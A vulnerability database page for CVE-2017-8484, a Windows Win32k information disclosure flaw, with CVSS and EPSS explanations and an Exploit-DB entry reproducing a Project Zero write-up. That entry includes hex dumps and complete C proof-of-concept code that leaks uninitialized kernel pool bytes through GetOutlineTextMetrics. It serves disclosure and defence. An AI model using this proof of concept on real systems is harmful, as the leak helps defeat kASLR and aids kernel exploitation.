CVE-2017-8484 : Detail

CVE-2017-8484

5
/
Medium
A01-Broken Access Control
11.28%V3
Local
2017-06-14
23h00 +00:00
2017-08-11
13h57 +00:00
CVE.org
NVD
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CVE Descriptions

Microsoft Windows 7 SP1, Windows Server 2008 SP2 and R2 SP1, Windows 8.1 and Windows RT 8.1, Windows Server 2012 and R2, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allow an authenticated attacker to run a specially crafted application when the Windows kernel improperly initializes objects in memory, aka "Win32k Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8470, CVE-2017-8471, CVE-2017-8472, CVE-2017-8473, CVE-2017-8475, and CVE-2017-8477.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 1.9 AV:L/AC:M/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42210

Publication date : 2017-06-20
22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1144 The win32k!NtGdiGetOutlineTextMetricsInternalW system call corresponds to the documented GetOutlineTextMetrics API function [1], and is responsible for returning information about the outline text metrics associated with a specific Device Context. The output data is passed to the client via a OUTLINETEXTMETRIC structure [2], which contains fields of various basic types (LONG, WCHAR, BYTE, ...), as well as other embedded structures. The simplified workflow of the syscall handler is as follows: 1. Allocate a pool-based buffer with a user-specified size for the output data. 2. Fill out all of the structure fields in the internal win32k!GreGetOutlineTextMetricsInternalW function. 3. Copy the contents of the buffer back to user-mode. Due to the mixture of fields of various widths, the structure has several padding holes which do not correspond to any specific fields, but are required for the correct alignment of the data inside. Since the kernel-mode buffer is not pre-initialized upon allocation, and the holes are also not explicitly initialized in the system call, they end up containing junk data (from previous pool allocations), which is then leaked to the user-mode application. The initialization metadata of an example pool allocation created upon a request from explorer.exe on Windows 7 32-bit is shown below: 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ................ 00000050: ff 00 00 00 00 00 00 00 00 00 00 ff 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000140: 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ................ The OUTLINETEXTMETRIC structure starts at offset 0x10, the 0x00 values indicate initialized bytes, while 0xff are the uninitialized ones. Therefore, we can see there are 4 subsequent uninitialized bytes at offsets 0x3d-0x40 of the structure (corresponding to the padding after the otmTextMetrics structure, and the value of the otmFiller byte), and 1 uninitialized byte at offset 0x4b (which is the padding after the otmPanoseNumber structure). The outcome of the vulnerability can be also observed in practice, by running the attached proof-of-concept program on a Windows system with Special Pools enabled for win32k.sys, and the win32k!gpTmpGlobalFree optimization disabled (so that the allocations actually take place on the pools every time). Then, we can see how the marker byte inserted by Special Pools can be consistently observed at offsets 0x3d-0x40 and 0x4b of the output structure: 00000000: 9e 01 00 00 0a 00 00 00 08 00 00 00 02 00 00 00 ................ 00000010: 02 00 00 00 00 00 00 00 09 00 00 00 39 00 00 00 ............9... 00000020: 90 01 00 00 00 00 00 00 60 00 00 00 60 00 00 00 ........`...`... 00000030: 20 00 fc ff 1f 00 20 00 00 00 00 17 00[e5 e5 e5] ..... ......... 00000040:[e5]02 02 06 03 05 04 05 02 03 04[e5]40 00 00 00 ............@... 00000050: 08 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 08 00 00 06 00 00 00 fe ff ff ff 01 00 00 00 ................ 00000070: 04 00 00 00 02 00 00 00 f3 ff ff ff 08 00 00 00 ................ 00000080: 2c 00 00 00 fe ff ff ff 07 00 00 00 fe ff ff ff ,............... 00000090: 00 00 00 00 09 00 00 00 0f 00 00 00 05 00 00 00 ................ 000000a0: 00 00 00 00 01 00 00 00 0f 00 00 00 05 00 00 00 ................ 000000b0: 00 00 00 00 04 00 00 00 00 00 00 00 02 00 00 00 ................ 000000c0: 00 00 00 00 ff ff ff ff d8 00 00 00 f8 00 00 00 ................ 000000d0: 18 01 00 00 2a 01 00 00 54 00 69 00 6d 00 65 00 ....*...T.i.m.e. 000000e0: 73 00 20 00 4e 00 65 00 77 00 20 00 52 00 6f 00 s. .N.e.w. .R.o. 000000f0: 6d 00 61 00 6e 00 00 00 54 00 69 00 6d 00 65 00 m.a.n...T.i.m.e. 00000100: 73 00 20 00 4e 00 65 00 77 00 20 00 52 00 6f 00 s. .N.e.w. .R.o. 00000110: 6d 00 61 00 6e 00 00 00 4e 00 6f 00 72 00 6d 00 m.a.n...N.o.r.m. 00000120: 61 00 6c 00 6e 00 79 00 00 00 4d 00 6f 00 6e 00 a.l.n.y...M.o.n. 00000130: 6f 00 74 00 79 00 70 00 65 00 3a 00 54 00 69 00 o.t.y.p.e.:.T.i. 00000140: 6d 00 65 00 73 00 20 00 4e 00 65 00 77 00 20 00 m.e.s. .N.e.w. . 00000150: 52 00 6f 00 6d 00 61 00 6e 00 20 00 52 00 65 00 R.o.m.a.n. .R.e. 00000160: 67 00 75 00 6c 00 61 00 72 00 3a 00 56 00 65 00 g.u.l.a.r.:.V.e. 00000170: 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 r.s.i.o.n. .5... 00000180: 31 00 31 00 20 00 28 00 4d 00 69 00 63 00 72 00 1.1. .(.M.i.c.r. 00000190: 6f 00 73 00 6f 00 66 00 74 00 29 00 00 00 ?? ?? o.s.o.f.t.)..... --- 00000000: 9e 01 00 00 0a 00 00 00 08 00 00 00 02 00 00 00 ................ 00000010: 02 00 00 00 00 00 00 00 09 00 00 00 39 00 00 00 ............9... 00000020: 90 01 00 00 00 00 00 00 60 00 00 00 60 00 00 00 ........`...`... 00000030: 20 00 fc ff 1f 00 20 00 00 00 00 17 00[7f 7f 7f] ..... ......... 00000040:[7f]02 02 06 03 05 04 05 02 03 04[7f]40 00 00 00 ............@... 00000050: 08 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 08 00 00 06 00 00 00 fe ff ff ff 01 00 00 00 ................ 00000070: 04 00 00 00 02 00 00 00 f3 ff ff ff 08 00 00 00 ................ 00000080: 2c 00 00 00 fe ff ff ff 07 00 00 00 fe ff ff ff ,............... 00000090: 00 00 00 00 09 00 00 00 0f 00 00 00 05 00 00 00 ................ 000000a0: 00 00 00 00 01 00 00 00 0f 00 00 00 05 00 00 00 ................ 000000b0: 00 00 00 00 04 00 00 00 00 00 00 00 02 00 00 00 ................ 000000c0: 00 00 00 00 ff ff ff ff d8 00 00 00 f8 00 00 00 ................ 000000d0: 18 01 00 00 2a 01 00 00 54 00 69 00 6d 00 65 00 ....*...T.i.m.e. 000000e0: 73 00 20 00 4e 00 65 00 77 00 20 00 52 00 6f 00 s. .N.e.w. .R.o. 000000f0: 6d 00 61 00 6e 00 00 00 54 00 69 00 6d 00 65 00 m.a.n...T.i.m.e. 00000100: 73 00 20 00 4e 00 65 00 77 00 20 00 52 00 6f 00 s. .N.e.w. .R.o. 00000110: 6d 00 61 00 6e 00 00 00 4e 00 6f 00 72 00 6d 00 m.a.n...N.o.r.m. 00000120: 61 00 6c 00 6e 00 79 00 00 00 4d 00 6f 00 6e 00 a.l.n.y...M.o.n. 00000130: 6f 00 74 00 79 00 70 00 65 00 3a 00 54 00 69 00 o.t.y.p.e.:.T.i. 00000140: 6d 00 65 00 73 00 20 00 4e 00 65 00 77 00 20 00 m.e.s. .N.e.w. . 00000150: 52 00 6f 00 6d 00 61 00 6e 00 20 00 52 00 65 00 R.o.m.a.n. .R.e. 00000160: 67 00 75 00 6c 00 61 00 72 00 3a 00 56 00 65 00 g.u.l.a.r.:.V.e. 00000170: 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 r.s.i.o.n. .5... 00000180: 31 00 31 00 20 00 28 00 4d 00 69 00 63 00 72 00 1.1. .(.M.i.c.r. 00000190: 6f 00 73 00 6f 00 66 00 74 00 29 00 00 00 ?? ?? o.s.o.f.t.)..... In summary, the vulnerability can lead to a repeatable disclosure of 5 bytes (4 subsequent) at fixed offsets of kernel pool allocations with largely controlled size, to a user-mode program. This in turn could make it possible to defeat certain exploit mitigations (kASLR) or get access to other sensitive data stored in the kernel address space. */ #include <Windows.h> #include <cstdio> VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } int main() { // Create a Device Context. HDC hdc = CreateCompatibleDC(NULL); // Create a TrueType font. HFONT hfont = CreateFont(10, // nHeight 10, // nWidth 0, // nEscapement 0, // nOrientation FW_DONTCARE, // fnWeight FALSE, // fdwItalic FALSE, // fdwUnderline FALSE, // fdwStrikeOut ANSI_CHARSET, // fdwCharSet OUT_DEFAULT_PRECIS, // fdwOutputPrecision CLIP_DEFAULT_PRECIS, // fdwClipPrecision DEFAULT_QUALITY, // fdwQuality FF_DONTCARE, // fdwPitchAndFamily L"Times New Roman"); // Select the font into the DC. SelectObject(hdc, hfont); // Get the number of bytes the text metrics consume. UINT MetricsLength = GetOutlineTextMetrics(hdc, 0, NULL); // Obtain the metrics descriptor and dump it on the screen. PBYTE OutputBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MetricsLength); GetOutlineTextMetrics(hdc, MetricsLength, (LPOUTLINETEXTMETRICW)OutputBuffer); PrintHex(&OutputBuffer[0], MetricsLength); // Free resources. HeapFree(GetProcessHeap(), 0, OutputBuffer); DeleteObject(hfont); DeleteDC(hdc); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_server_2016 >> Version -

References

http://www.securityfocus.com/bid/98847
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/42210/
Tags : exploit, x_refsource_EXPLOIT-DB